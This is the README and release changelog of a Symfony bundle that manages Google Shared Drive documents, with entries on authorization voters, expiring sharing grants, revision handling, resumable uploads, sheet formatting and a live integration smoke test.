borsche/google-drive-docs-bundle
A Symfony bundle that turns a Google Shared Drive into a document workspace inside your own app. Users browse folders, create and edit real Google Sheets/Docs, and manage access, while documents stay in Google and editors render in an embedded iframe.
.gitattributes, so an installation stops downloading the test suite. The dist archive was
940 KB, of which 480 KB was tests/, tools/ and .github/ — more than half of every
installation was material only useful to someone working on the bundle. It is 460 KB now. The
documentation stays: README and UPGRADE are what gets read when a version bumps.One line of configuration, measured before and after. Worth taking if any controller holds
DriveDocumentService on routes that do not always call Drive.
Authenticating asks Google for an access token, and that happened while the client was being
constructed. So every request to a controller holding DriveDocumentService paid for a token
whether it called Drive or not — a controller with five actions where two use Drive spent it on the
other three.
Measured in a compiled container:
| lazy | eager | |
|---|---|---|
fetching DriveDocumentService |
1.9 ms | 242.9 ms |
what Drive receives |
a proxy, not yet initialised | the client |
| the first call that reaches Google | 719 ms | 458 ms |
Read the last row. This defers the token request, it does not remove it: the first call that actually reaches Drive pays for it, so a request that does use Drive is no faster. What changes is that a request which never touches Drive stops paying at all.
Proxying a stateful client is the kind of change that looks fine and breaks somewhere specific, so it was run through the paths where it could plausibly break — beside a plain client, for comparison:
| lazy proxy | plain client | |
|---|---|---|
export() csv |
10 bytes | 10 bytes |
export() xlsx |
5041 bytes | 5041 bytes |
exportRevision() via authorize() |
10 bytes | 10 bytes |
| resumable upload, 5.25 MB | sizes match | — |
getConfig('retry') |
intact | — |
Byte-identical, and the initializer runs exactly once across the whole sequence — the access token is fetched once and reused, which is the thing to worry about with a stateful client.
The client is the right thing to defer and Drive is not. Google\Service's constructor only
type-checks its argument, so it accepts the proxy without waking it, and the client has no public
properties — every access goes through a method, which is what a virtual proxy forwards. Drive
exposes its resources as twenty-two public properties, and those would defeat the same trick.
One note for anyone reading the container: the flag only takes effect in a compiled container,
which is what an application has. A raw ContainerBuilder resolves lazy services eagerly, so the
bundle's test asserts the definition rather than the instance.
The live test's changes-feed check kept a shorter wait of its own than the two checks beside it, and went off on a slow day. Drive's feed lags the way its other indexes do, so it waits the way they do now — a flaky check in a suite meant to be trusted is worse than no check.
Upgrading from 1.0.x: ^1.0 picks this up on its own; no API changed. 467 tests, PHPStan level 6
clean over src and tools, and the live run is 42 checks, 0 failures.
Documentation only, but take it if you have written — or were about to write — your own voter. The advice this README gave produced a policy that was silently not applied.
DRIVE_* attributes does not make the policy stricterThe README invited applications to write their own voter and said nothing about how, so the natural
reading — add one — is the one that does not work. Symfony's default decision strategy is
affirmative: one granting voter is enough. A stricter voter of yours votes DENY, this bundle's
votes GRANT, and access is allowed.
Measured against Symfony's own AccessDecisionManager rather than recalled:
| voters | strategy | outcome |
|---|---|---|
| bundle grants, yours denies | affirmative | allowed |
| yours denies, bundle grants (order flipped) | affirmative | allowed |
| bundle grants, yours denies | unanimous | refused |
The registration order makes no difference. What works is replacing the service definition so that
one voter votes on those attributes — the README now shows that, with a worked example, and explains
why switching the whole application to unanimous is the wider change rather than the narrow fix.
The example was run before being written down. The obvious advice is to subclass DriveVoter and
override voteOnAttribute(), and it does not compile: that class is final. It extends Symfony's
Voter and reuses the public attribute constants instead.
seesEverything() grants all four attributes, including DRIVE_DELETEThis was stated, but in a sentence easy to read past, and the name is the problem: it says sees.
An auditor or a support agent who should read the whole drive is exactly the case where wiring
seesEverything() to their role looks harmless — and it is a full bypass of these checks, not a
visibility flag.
It now says so where the decision is made, with the alternative for read-everything-change-nothing:
leave seesEverything() false and give the account reader on the drive in Google, or replace the
voter so the bypass applies only to DRIVE_VIEW.
No source change, so ^1.0 picks this up on its own and there is nothing to do on upgrade. The one
thing worth doing is reading the new section if you have your own voter: whether it is actually
being obeyed is not something a passing test suite would have told you.
467 tests, PHPStan level 6 clean over src and tools.
The live test now covers the one thing it most conspicuously did not: the authorization boundary. And the script itself is under static analysis, which is where it found something to fix.
Seven checks on the authorization boundary, against real grants. DriveVoter and
DriveDocumentResolver are the newest code in this bundle and the most security-critical, and the
suite that exists to check what mocks cannot did not touch either of them. A unit test can say the
voter reads a role correctly; only a real grant says a reader on a real drive actually gets
refused an edit.
They run the bundle's voter behind Symfony's own AccessDecisionManager, against grants Drive is
really holding:
reader is granted DRIVE_VIEW and refused DRIVE_EDIT, DRIVE_SHARE and DRIVE_DELETEwriter passes all fourseesEverything() bypasses without any grant""DriveDocument argument resolves from the routeAccessDeniedException for an id the viewer cannot reach, before a
controller body would run — which is the whole reason to resolve the document instead of trusting
the id42 checks with SMOKE_SECOND_EMAIL configured, 30 and four skips without.
tools is in PHPStan's analysed paths, so the plain analyse the static-analysis job runs
covers the live test too. A regression where the script quietly stops passing analysis can no longer
be reintroduced by accident.
Two things had to go first, and the second is the interesting one:
global counters an analyser cannot follow are static properties of one small class now;exit() moved out of the finally block, where it discarded whatever the body was raising.That second one is the same mistake this script had already found in one of its own checks a few
hours earlier — a finally that replaced the exception the assertions were trying to report. It was
fixed in that one place without looking at the reporting plumbing built on the same pattern. Putting
the script under analysis is what showed the rest of it, which is a fair argument for having done so.
Upgrading from 1.0.x: ^1.0 picks this up on its own. Nothing under src changed, so there is
nothing to do. 467 tests, PHPStan level 6 clean over src and tools, and the live run is 42
checks, 0 failures.
The live integration test is part of the repository now, and bringing it under static analysis found something in the library on the way.
tools/smoke-test.php — the live smoke test, in the repo. The unit suite mocks Google's own
classes, so it can only confirm that the bundle sends what the bundle thinks it should send. Two of
the things Drive actually refuses were learned the hard way — a permissions.update with no role in
the body, and an expiry a JSON null never lifted — and both shipped broken in 1.0. The script that
found them was a private file on one machine, which made the one mechanism that catches what mocks
cannot something nobody else could run or reproduce. That was the wrong place for it.
35 checks against a real Shared Drive: values and formatting read back from the grid, an export, a revision fetched through its export link, a resumable upload over 5 MB with a partial last chunk, the changes feed, locking, trash, and the sharing pairings Drive does and does not allow an expiry on.
GOOGLE_CLIENT_ID=... GOOGLE_CLIENT_SECRET=... GOOGLE_SHARED_DRIVE_ID=... \
GOOGLE_OAUTH_REFRESH_TOKEN=... php tools/smoke-test.php
Or keep the four in a file and point SMOKE_ENV_FILE at it; the environment still wins.
SMOKE_PREFIX renames what it creates, and SMOKE_SECOND_EMAIL enables the two sharing checks that
need a second Google identity — a grant cannot be made to the account that already owns the drive.
It creates and deletes real objects. Everything carries the prefix and lives in one folder,
everything is erased in a finally block including after a fatal error, and the run prints what it
created, what it erased, and anything it could not — that last list is the one to read.
A manual CI workflow that runs it. workflow_dispatch rather than automatic, because it writes
to a real drive and spends Google quota. Without the secrets configured it says which are missing
rather than failing on a stack trace.
setAppProperties() was annotated array<string, string|int|float|bool|null>, which is not what PHP
hands it: a key like "2024" arrives as the integer 2024. So a caller doing nothing wrong got a
false error from their own PHPStan, on code the method handles correctly — the string casts inside it
exist for exactly that case. The annotation admits array-key now, and says why.
Found by putting the live test under static analysis, which is a fair argument for having done it.
tools/ is not in the analysed paths. Three findings remain there — two on the finally plus exit()
pattern and one on global counters the analyser cannot follow. They are artefacts of the script's
style rather than defects, but removing them means rewriting its reporting, so the honest statement is
that PHPStan level 6 is clean for src, which is what ships as the library.
Upgrading from 1.0.x: ^1.0 picks this up on its own; the only source change widens an
annotation. 467 tests, and the live run is 35 checks, 0 failures.
Documentation only — no code changed, nothing to do on upgrade. It settles the one claim in this README that rested on nothing, and moves the two things that decide whether a multi-user deployment is safe to where someone evaluating the bundle will actually meet them.
This README is built around embedding Google's own editor, and Google documents neither that an
editor URL may be framed from another origin nor that it may not. So the promise now carries what
was measured rather than what was hoped: a document's webViewLink, framed from a different origin
over plain HTTP in Chrome, renders the full editor — the frame's load event fires and no
X-Frame-Options or frame-ancestors refusal appears. /preview frames as well.
The two caveats matter more than the result, so both are in writing:
Worth knowing about the trap, too: docs.google.com/spreadsheets/ — the marketing root, not a
document — does answer X-Frame-Options: SAMEORIGIN. A headers-only check on that URL concludes
the exact opposite of what framing a real document does.
New section, above Requirements, because both were a paragraph each in the middle of a long file and skimming past them gives you a back office where every user reaches every document.
ViewerContextInterface is AllowAllViewerContext and it
answers seesEverything(): true — right for a single-tenant back office or a CLI, wrong for
anything with more than one kind of user. The bundle logs a container message while that default
stands, but a line in the build log is not a safeguard.canAccess() answers whether they can reach the item and roleOf() what role
they hold; neither refuses an operation. A viewer with reader reaching a controller that calls
trash() will trash the document, because the controller let them. The #[IsGranted] example is
inline, and the reasoning for shipping a voter instead of an enforce_roles switch is linked.Upgrading from 1.0.x: ^1.0 picks this up on its own. 467 tests, PHPStan level 6 clean.
Two defects in expiring grants, found by running the bundle against a real Shared Drive rather than
against a mock. Take this if you use setExpiry() at all — it had never worked.
setExpiry() never worked. Drive refuses a permissions.update whose body carries no role —
400, "The permission role field is required" — however little of the grant is being changed, so
every call failed whatever was asked of it. The grant is read first now and its own role sent back
unchanged.
Reading the role rather than taking it from the caller is deliberate: one passed in from a stale
DrivePermission would quietly change what someone may do, which is worse than a round trip on an
operation this rare.
Lifting an expiry left it in place. setExpiry($fileId, $permissionId, null) sent a JSON null
in the body, and Drive answered with the old time still on the grant — so access went on ending at
a date the caller had cleared. permissions.update lifts an expiry only when asked to in the
query, and that parameter is what travels now; never alongside a new expiry, which Drive would
then drop again.
1.0.2 claimed this fixed and it was not. The test behind that claim asserted the request body, which was the right instinct after the release before it, but the body was never where the answer lay. Both fixes are verified against Drive.
On a folder, only a reader's grant may expire. A writer's or a commenter's is refused with a
403 whose reason is cannotSetExpiration, and Drive says only "Expiration dates cannot be set on
this item" — the item is fine, it is the pairing it objects to. A file's grant may expire in any of
the three roles. So temporary edit access to a whole folder is not something Drive offers: grant
reader with an expiry, or writer on the individual files. Measured across every combination.
Pinning a revision works on uploaded files only. On a Google format Drive accepts the call,
ignores it and answers with the revision unchanged — no error, keptForever simply stays false.
The README had been recommending keepRevision() for exactly the case it does not cover; for a
Sheet or a Doc, keeping a version means exporting it.
The package description named the feature set of 0.2 — no revisions, no trash, no export/import, no locking, no changes feed, no table formatting. It now names what 1.0 carries.
Upgrading from 1.0.x: ^1.0 picks this up on its own; no API changed. 467 tests, PHPStan level 6
clean, and the sharing paths checked against a live Shared Drive.
Housekeeping found by running PhpStorm's inspections over the whole bundle. No API change and
nothing to do on upgrade — but worth taking if you use format().
Table formatting sends colours as colorStyle. Every plain color field on a Sheets
request is deprecated in favour of its colorStyle twin, which also admits a theme colour.
The field masks name the twin accordingly — a mask and the field it sets have to agree, so
these had to move together or repeatCell would have quietly done nothing.
Affects style(), borders(), conditionalFormat(), bandedRows() and tabColor(). The
bundle's own API is unchanged: colours are still #RRGGBB or #RGB strings and the result on
the sheet is the same.
SpreadsheetService and SheetFormatter each carried a
copy of moved to SheetTabIndex. The two copies had already needed the same null guard applied
separately once — the kind of fix that looks done and is not."2024" into
the integer 2024, so a numerically titled tab or app-property key arrives as an int however
the array is annotated.Google\Service\Exception is
passed through rather than wrapped, and only the cases the bundle can explain better get an
exception of their own.Most of the remaining warnings are the IDE trusting the Google client's own [@return](https://github.com/return)
annotations, which are wrong. Verified against the actual classes: getCanEdit, getTrashed,
getFileId, getRemoved, Revision::getId, getKeepForever and getUpdatedRows all return
null on an unset model, so the "redundant" casts guarding them are load-bearing. The unhandled
Google\Service\Exception in DriveVoter is likewise deliberate: canAccess() and roleOf()
absorb 403 and 404 and let everything else surface, because an outage that reads as "no access"
would make every document silently disappear for every viewer.
465 tests, PHPStan level 6 clean. ^1.0 picks this up on its own.
Defects in what 0.9.0 and 1.0.0 added, found by auditing them. Worth taking if you use expiring grants or revision exports.
setExpiry($fileId, $permissionId, null) did not lift the expiry — it did nothing at all.
The Google client drops a PHP null when it serialises a request body, so the field never left
the process, and permissions.update being a PATCH, an absent field means "keep the old value".
The grant went on expiring when it was meant to become permanent. The client's NULL_VALUE
placeholder is what actually puts a JSON null on the wire.
The test meant to cover this asserted the getter on the object it had just written to, which is why the omission went unnoticed. It now reads the serialised body — the only thing Drive sees.
A grant with an expiry could outlive it in the sharing cache. An entry was kept for the full
permission_cache.ttl however soon the grant ran out, so a viewer kept their access for up to
the TTL after Drive had dropped it. The entry now lives no longer than the soonest expiry among
the grants it holds, and a grant already past its time is ignored even while Drive still lists it.
exportRevision() streamed an error page as the document. Export links are fetched through
the client's own authorised HTTP client, which is built with http_errors off, so a 403 or a 5xx
arrived as the revision's content. Any status of 400 or above now raises the same exception a
service call would, carrying Drive's own message and reason.
changesSince() reported changes to the Shared Drive itself — a rename, a new restriction —
as a change with an empty fileId, and cleared a cache entry under that empty key. The feed marks
them with a changeType of drive and they are skipped now. That field is asked for too: an
unrequested field comes back null, so the check on it was dead code leaning quietly on the
empty-fileId test beside it. The two conditions are separate on purpose and each is tested on
its own.
setExpiry() explains an inherited grant with InheritedPermissionException, as revoke()
already did, instead of passing on Drive's bare 403.
DriveVoter abstains on an empty string as the subject instead of asking Google about the id ""
and earning a 400.
exportRevision() without a MIME type, on a revision offering several formats, now names them and
refuses instead of taking whichever link Google listed first.
It sits among the fixes rather than waiting for a major release because what it replaces was an arbitrary pick from an order Google never promised — whichever link happened to be first. Nothing a caller could depend on deliberately, and quietly wrong whenever it was not the format they meant. Name the format and the call behaves as it always should have; a revision offering one format still needs no choice, and an uploaded file's revision never did.
changesSince() is the drive's feed and is not filtered per viewer — call it from the job that
keeps your application in step with Drive, never on a viewer's behalf. Also: the id fallback in
DriveDocumentResolver on routes where {id} means something else, what Drive refuses to
deleteRevision() (the current version of anything, and any version of a Google format), and that
DRIVE_EDIT covers lock() and the application's own metadata.
Upgrading from 1.0.x: ^1.0 picks this up on its own. The only thing to check is whether you
call exportRevision() without naming a format. 465 tests, PHPStan level 6 clean.
A test-only fix, taken straight away because a 1.0 whose suite does not run on a PHP version it claims is not much of a promise.
DriveDocumentResolverTest collected the resolver's answer with iterator_to_array(), which only accepts a plain array from PHP 8.2 onwards — and the resolver answers with one. Six tests errored on PHP 8.1, the oldest version this bundle supports.
The bundle itself was unaffected; only its test suite was. Nothing to change on upgrade, and ^1.0 picks this up on its own.
Caught by the lowest-dependency CI job added in 0.7.1, on its first real catch.
Nine releases of decisions. The point of this one is not new surface but the promise that the surface stops moving.
UPGRADE.md now covers every step from 0.1.0 and states what minor and major releases may do from here.
- $drive->delete($fileId);
+ $drive->deleteForever($fileId); // same behaviour: gone for good
+ $drive->trash($fileId); // probably what a UI's delete button means
delete() erased an item for good under a name that never said so. Deprecated since 0.3.0, and
the CHANGELOG said it would go in 1.0.
- DriveDocumentService::MAX_UPLOAD_BYTES
+ DriveDocumentService::MULTIPART_LIMIT // where the two upload paths part
It stopped describing the largest upload in 0.7.0, when resumable uploads removed the ceiling it
named. For a limit of your own there is upload.max_bytes.
With that deprecation gone, symfony/deprecation-contracts is no longer required — it was there
for that one call.
^6.0 || ^7.0 narrows to ^6.4 || ^7.0. CI only ever verified 6.4 and 7, and for the release
that carries a compatibility promise, claiming support nothing checks is worse than admitting the
range. No code changed.
is_granted() on drive itemsSince 0.5.0 roleOf() has reported what a viewer holds while every method still ran as the
service user, and the README explained that gap in prose. This is that explanation as code:
use Borsche\GoogleDriveDocsBundle\Security\DriveVoter;
if ($this->isGranted(DriveVoter::EDIT, $document)) { /* show the buttons */ }
#[IsGranted(DriveVoter::SHARE, subject: 'document')]
public function share(DriveDocument $document): Response
DRIVE_VIEW asks whether the item is reachable; DRIVE_EDIT, DRIVE_SHARE and DRIVE_DELETE
ask for writer or stronger. Install symfony/security-core and it registers itself.
There is still no enforce_roles option, and this release settles that rather than leaving it
open. Which role an operation should require is genuinely arguable — Google wants organizer for
some sharing changes and writer for others depending on how the drive is set up — so a matrix
inside the service would be a wrong answer nobody reviews. A voter is one you can read, override
and test.
#[Route('/documents/{fileId}')]
public function show(DriveDocument $document): Response
It fetches rather than trusting the id, which costs the call the controller would have made anyway and moves the access check ahead of the controller body.
$other = $this->drive->forDrive($clientDriveId);
Everything else carries over: viewer context, MIME types, cache and lifetime, upload limits. One drive stays the configuration's business.
listFolder() on a folder in the trash still lists its contents. Google flags the folder
alone, so checking would put another Drive call on the hottest listing path to cover a case only
a stale link reaches, where the viewer sees nothing new. Now stated in the method's own docblock,
not only in the README.Two things sit just outside it, named rather than implied: a model's toArray() may gain keys in a
minor release, and Google's own limits and error text are not ours to promise — which is why this
bundle says when a limit is Google's and lets Google enforce it instead of mirroring a number that
can go stale.
454 tests, PHPStan level 6 clean, verified against PHP 8.1–8.3, Symfony 6.4 and 7, and the lowest
dependency versions composer.json allows.
The last of the Drive surface before 1.0. One of these closes a gap that has been open since 0.2.0.
Sharing lives in Google, so it changes without this bundle being involved: someone adds a collaborator from the Drive UI, someone renames a folder by hand. The sharing cache noticed such things only when it expired — and the README has said so, apologetically, for seven releases.
$token = $this->drive->startPageToken(); // once, when you start watching
$changes = $this->drive->changesSince($token); // then on a schedule
foreach ($changes as $change) {
$change->fileId;
$change->removed; // deleted, or moved out of what the service user can see
$change->document; // the item as it stands now, or null when it is gone
}
$token = $changes->nextToken; // store this — the next poll starts here
Every change seen this way drops that item's cached sharing immediately. That side effect is the point; the list of changes is what makes it possible.
Three things the contract depends on:
nextToken yourself — the bundle has nowhere to keep it. Polling with a token already
used replays those changes; with one never received, the gap between is lost.Push notifications (changes.watch) are deliberately not wrapped — they need a public HTTPS
endpoint with a valid certificate, which belongs to the application rather than to a library.
The difference between revoking a contractor's access and remembering to:
$this->drive->grant($id, '[email protected]', 'reader', expiresAt: new DateTimeImmutable('+30 days'));
$this->drive->setExpiry($id, $permissionId, new DateTimeImmutable('+90 days')); // extend
$this->drive->setExpiry($id, $permissionId, null); // lift it
DrivePermission gained expiresAt and expires(). Google's restrictions — in the future, no
more than a year ahead — are checked before the call, because a Drive 400 names neither the value
nor the grant.
$this->drive->lock($id, 'Approved by finance'); // the reason Google shows the editor
$this->drive->unlock($id);
DriveDocument gained locked and lockReason. A locked item's capabilities report
canEdit: false, so a UI built on capabilities since 0.3.0 greys the right buttons without being
told about locking at all. New event: DocumentLockChangedEvent.
google-drive-docs:checkAnswers the question nothing else here answered — is this configured right?
bin/console google-drive-docs:check
Four independent checks — credentials and who they authenticate as, the Shared Drive, what the
service user may do on it, whether the root lists — so a half-working setup says which half
instead of failing at the first step. Read-only throughout. It calls out the case that costs the
most time: a service user added as Content manager may trash but not erase, which otherwise
surfaces as a puzzling failure from deleteForever() much later.
shared_drive_id is held to Google's id alphabet before it reaches a Drive query, the way item
ids have been since 0.3.1. That debt was noted then and left; it was three lines.Comments were scheduled for this release and were dropped rather than padded in: the most speculative item in the set, and the same size as half the change polling that closes something real.
Upgrading from 0.8.0: nothing to change, this is additive. ^0.8.0 will not pick 0.9.0 up, so
raise the constraint deliberately. Next stop is 1.0, which removes the long-deprecated
delete() and MAX_UPLOAD_BYTES. The test suite grew from 390 to 424 cases.
The trash protects against losing a file. It does nothing about a spreadsheet whose contents someone overwrote — which, for a document full of formulas, is the more likely accident. Until now nothing in the bundle did either.
foreach ($this->drive->listRevisions($fileId) as $revision) {
$revision->id; // 'r7'
$revision->modifiedTime; // when this version was saved
$revision->modifiedBy; // who saved it
$revision->keptForever; // pinned against pruning?
}
$this->drive->keepRevision($fileId, 'r7'); // pin it
$this->drive->keepRevision($fileId, 'r7', false); // release it again
$this->drive->deleteRevision($fileId, 'r3');
$old = $this->drive->exportRevision($fileId, 'r7', DriveExport::XLSX);
exportRevision() returns the same DriveExport downloads have used since 0.3.0, so its PSR-7
stream, filename and contentDisposition() already work. New events: RevisionKeptEvent,
RevisionDeletedEvent.
Drive API v3 lists, reads, pins and deletes revisions — it cannot make an old one current again.
Only the Google editor restores a version in place. So there is deliberately no
restoreRevision() here: it would read as a rollback and not be one. exportRevision() hands
the old content over and the application decides where it goes:
// Either keep it beside the live document…
file_put_contents($temp = tempnam(sys_get_temp_dir(), 'rev'), $old->contents());
$recovered = $this->drive->import($temp, 'Q3 report (as of 12 August)', $folderId);
// …or read the values and put them back into the live one.
$this->sheets->write($fileId, 'Q3!A1', $rows);
A Google format stores no bytes of its own, so its revisions carry export links and the MIME type
chooses between them — XLSX round-trips formulas where CSV does not. An uploaded file's
revision is downloaded directly.
Google's own documentation says older revisions are omitted for files with a long history —
frequently edited Sheets and Docs especially — and that the history shown in the Workspace editor
may be more complete than the API's. Treat this as a recovery aid, not an audit trail. It is
also why pinning exists: keepRevision() is how the version someone will want later survives the
pruning, and only a limited number may be pinned per file. Deleting a revision is final — there is
no trash for one.
Upgrading from 0.7.x: nothing to change, this is additive. ^0.7.0 will not pick 0.8.0 up, so
raise the constraint deliberately — and note that 0.7.1 fixed uploads over 5 MB, so do not skip
it if you are still on 0.7.0. The test suite grew from 375 to 390 cases.
Worth upgrading if you import files larger than 5 MB. Everything here is a defect in 0.7.0, found by auditing what that release added.
filesize() answering false — or 0, as a network mount or a stream wrapper can — sent the
file down the multipart path, where the bounded read then handed the resumable fallback the
size of what it had read, 5 MB, rather than the file's real size. A resumable session declares
its total up front and Google measures every chunk against it, so the first chunk past 5 MB was
rejected. The size now comes from the stream, by seeking to its end, and a stream that can
neither stat nor seek is reported as such instead of opening a session it can never fill.upload.max_bytes was skipped on that same path: with no trustworthy stat the cap was never
applied at all. Both upload paths now check the bytes they actually handle, so the ceiling holds
whatever the filesystem claims.0 stalled one byte from done. The
Google client asks false == $chunk, and PHP reads that one-byte string as false, so the chunk
was dropped. The loop no longer leaves a single byte for the end — it swallows that byte into
the chunk before it, which is what makes that one the last. Shortening a chunk instead would
have sent an intermediate chunk that is not a multiple of 256 KB, the very rule chunk_bytes
is validated against; every chunk but the last is now asserted to be a multiple of the
granularity.chunk_bytes is validated where it is configured rather than on first use, far from the
cause, and capped at the new MAX_CHUNK_BYTES (64 MB) — a chunk is read into memory whole, so a
gigabyte-sized one is a mistake rather than a tuning choice.roleOf() no longer stops at the permissions Google embeds in a file, which are not always
the whole list, so a writer grant held through a group is no longer reported as the weaker
reader found inline. A boolean answer may stop at the first match; the strongest role may not.SheetRange refuses a range past the edges of the grid, naming it instead of leaving a Drive
400 to explain. The bounds are Google's own and deliberately loose — 18 278 columns (A to ZZZ)
and the ten million cells a spreadsheet can hold, which is also the most rows any range could
name. Excel's grid, 16 384 columns and 1 048 576 rows, would have refused ranges Google accepts.SpreadsheetService and SheetFormatter tolerate a spreadsheet answer without sheets, as
listTabs() already did; a formatting pass against one now says the answer described no usable
tab instead of "no tab called ''".SheetFormatter::MAX_OPERATIONS (500): a pass travels as one batchUpdate, so the call that
overflows it raises an OverflowException naming itself. This ceiling is the bundle's own, not
a documented Google limit — the same reasoning as MAX_PAGES and MAX_BATCH_RANGES.DriveDocumentService::MAX_CHUNK_BYTES.columnWidth() and rowHeight() accept is described as this bundle's own
policy, which is what it is, rather than as Google's limit.max_bytes: 0 means, the chunk_bytes rules, the size of a formatting pass, and
that import() trusts the path it is given.Upgrading from 0.7.0: nothing to change — these are fixes only, and ^0.7.0 picks 0.7.1 up on
its own. The unstattable-stream case is now covered by a stream wrapper written for it, which
closes the one gap the release checklist had listed as untestable. The test suite grew from 353 to
375 cases.
Two things an integration hits early, both of which the bundle used to push back onto the application.
Documents are created by the service user and identified by an opaque Drive id, so remembering which id belongs to which order was work for the caller. Drive can hold that itself:
$this->drive->setAppProperties($doc->id, ['orderId' => $order->getId()]);
$this->drive->appProperties($doc->id); // ['orderId' => '4711']
$this->drive->findByAppProperty('orderId', '4711'); // DriveDocument[]
$this->drive->findByAppPropertyPage('orderId', '4711'); // one page of them
That is the mapping table a lot of integrations end up keeping, removed. Four things to know:
appProperties per OAuth client, so nothing else
looking at the same drive — another integration, the Drive UI — sees them."1" or "". The conversion happens here rather than as a silent cast later.DriveDocument. A listing would carry them on every row for the sake of the few
callers that look, so reading them is an explicit call — the same reasoning as roleOf().Google caps a property at 124 bytes for key and value together, and 100 per item. Those limits stay enforced by Google rather than mirrored here, so a change on their side needs no release here.
import() no longer refuses a file over Google's 5 MB multipart ceiling. Under it the file still
goes up in one request; past it the bundle switches to Drive's resumable protocol and sends
the bytes in chunks, so nothing larger than one chunk is ever held in memory. Drive's own ceiling
— 5 TB — is what is left.
google_drive_docs:
upload:
max_bytes: 0 # a ceiling of your own; 0 leaves Drive's 5 TB as the only one
chunk_bytes: 8388608 # bytes per resumable chunk, a multiple of 256 KB
This was deliberately deferred in 0.3.0, because the protocol needs the client put into deferred
mode, a chunk loop aligned to 256 KB, and mocks around MediaFileUpload that promise more
confidence than they earn. It is done now, with the boundary drawn honestly in the tests: what
this bundle owns is which path a size takes, that the client state is put back, the chunk-size
rule and the application's cap. The byte-level protocol is Google's own code, exercised for real
rather than simulated in detail.
Deferred mode is global to the client — leaving it on would turn every later call anywhere in
the application into a request object instead of a result, a failure arbitrarily far from its
cause. It is restored in a finally, and a test asserts that holds when the upload throws part
way through.
UploadTooLargeException now fires only
when the application set upload.max_bytes and the file exceeds it. Code catching it to tell
users "too big for the integration" should either set that option or stop expecting it.search() and the new property search share one query-escaping helper, so both treat a quote
or a backslash in the term the same way.DriveDocumentService::MAX_UPLOAD_BYTES — it stopped describing the largest upload and became
the point where the two paths part, which MULTIPART_LIMIT now says. upload.max_bytes is the
option for a limit of your own.DocumentPropertiesChangedEvent.
Upgrading from 0.6.0: the one thing to check is whether you catch UploadTooLargeException
for files between 5 MB and whatever you actually want to allow — that exception no longer fires
on its own. Everything else is additive. ^0.6.0 will not pick 0.7.0 up, so raise the constraint
deliberately. The test suite grew from 326 to 353 cases.
0.4.0 taught the bundle to fill a template with data. What came out was correct and raw — no bold header, no thousands separator, no column wide enough to read, nothing stopping a reader from typing over the formulas. This finishes that job.
format() collects a styling pass and sends it as a single spreadsheets.batchUpdate, so either
all of it lands or none does:
$this->sheets->format($fileId)
->style('Q3!A1:D1', bold: true, background: '#DDE6EC', horizontalAlign: 'CENTER')
->freeze('Q3', rows: 1)
->borders('Q3!A1:D40', inner: true, color: '#CCCCCC')
->bandedRows('Q3!A2:D40')
->numberFormat('Q3!D2:D', '#,##0.00')
->conditionalFormat('Q3!D2:D', 'NUMBER_LESS', ['0'], background: '#FFD5D5', bold: true)
->dataValidation('Q3!C2:C', 'ONE_OF_LIST', ['New', 'Paid', 'Shipped'])
->basicFilter('Q3!A1:D40')
->protect('Q3!D2:D', description: 'Formulas')
->autoResizeColumns('Q3')
->apply();
| Method | Changes |
|---|---|
style() |
bold, italic, fontSize, color, background, horizontalAlign, wrapped |
numberFormat() |
a Google pattern: #,##0.00, 0%, dd.MM.yyyy |
borders() |
lines around a block, and optionally the grid inside it |
bandedRows() |
alternating row colours, which is what makes a long table readable |
conditionalFormat() |
highlight by rule — negatives in red, overdue dates, a custom formula |
dataValidation() |
constrain what may be typed; ONE_OF_LIST is the dropdown case |
basicFilter() / clearBasicFilter() |
the filter row, so the reader can sort and filter |
protect() |
lock a range — the formula column — against the people using the sheet |
freeze() |
rows and/or columns kept in view while the rest scrolls |
autoResizeColumns() |
every column widened to fit, as double-clicking a border does |
columnWidth() / rowHeight() |
an exact size in pixels |
merge() / unmerge() |
a block joined into one cell |
hideTab() / showTab() / tabColor() |
the tab itself |
$sheetId = $this->sheets->addTab($fileId, 'Summary'); // returns Google's numeric id
$this->sheets->renameTab($fileId, 'Q3', 'Q4'); // the sheet id does not change
$this->sheets->deleteTab($fileId, 'Scratch');
renameTab() keeps the numeric sheet id, so formulas and charts pointing at the tab keep
working, and refuses a title another tab already holds rather than letting Google answer 400.
deleteTab() refuses the last remaining tab, and has no undo — there is no trash for a tab,
only the spreadsheet's own version history — so treat it the way you treat deleteForever(). It
dispatches SheetTabDeletedEvent for the audit trail.
SheetRangeGoogle's formatting calls do not take A1 notation. They want a GridRange: a numeric sheet id
and zero-based, half-open indices. SheetRange::fromA1() bridges that, so callers keep writing
'Q3!A1:D10' and never meet an index. It handles quoted tab names, doubled apostrophes,
open-ended ranges (D2:D, A:D10), whole columns and rows, and normalises a reversed range.
Sheet ids are resolved with one lookup at apply().
SheetFormattedEvent, SheetTabAddedEvent, SheetTabRenamedEvent, SheetTabDeletedEvent.
Google's repeatCell clears everything the request's field mask covers, so a careless call
wipes formatting nobody asked to change. Every call here builds a mask naming exactly the
attributes it was given — pass bold: true alone and the background, alignment and number format
on those cells survive untouched. There are tests on the masks themselves, not only on the result.
freeze(), autoResizeColumns() and the tab methods take a tab name, not a range. A bare
Q3 in A1 notation is the cell Q3 — the same ambiguity that bit range() in 0.4.0 — and a
range would be ambiguous exactly where it matters.unprotect(). Removing a protection means finding the id Google assigned it,
which is work for whoever is looking at the spreadsheet, not for something generating one.conditionalFormat() and dataValidation() take Google's own condition vocabulary —
NUMBER_LESS, TEXT_CONTAINS, DATE_BEFORE, ONE_OF_LIST, CUSTOM_FORMULA and the rest —
passed through rather than mirrored in a list the bundle would have to keep current.
Still not covered, and said so rather than left to be discovered: charts and pivot tables, named ranges, developer metadata, and sorting a range in place.
Upgrading from 0.5.0: nothing to change — this is additive. ^0.5.0 will not pick 0.6.0 up,
so raise the constraint deliberately. The test suite grew from 236 to 326 cases, 37 of them on the
A1 parser alone.
The access check has always been about reach, not role. Anyone holding any grant passes it,
and the bundle then acts as the service user — which can rename, move, trash and, since 0.4.0,
overwrite cells. An application had no way to tell a reader from an editor short of reading
listPermissions() and resolving the grants itself.
roleOf(string $fileId): ?string — the role the current viewer effectively holds.
if ($this->drive->roleOf($fileId) === DrivePermission::ROLE_READER) {
// show the document, but no edit, rename or delete buttons
}
It returns the strongest of every grant that applies: named directly or reached through a
group, on the item itself or on a folder above it — the way Google resolves an effective
permission. Roles the bundle cannot hand out (owner, organizer, fileOrganizer, which come
from the Shared Drive's own membership) are reported as they are rather than flattened to
"unknown", and a role Google may add later ranks weakest so it can never silently outrank a
known one. A viewer whose seesEverything() is true gets null: nothing is looked up for them,
and a role would mean nothing, since they bypass filtering anyway.
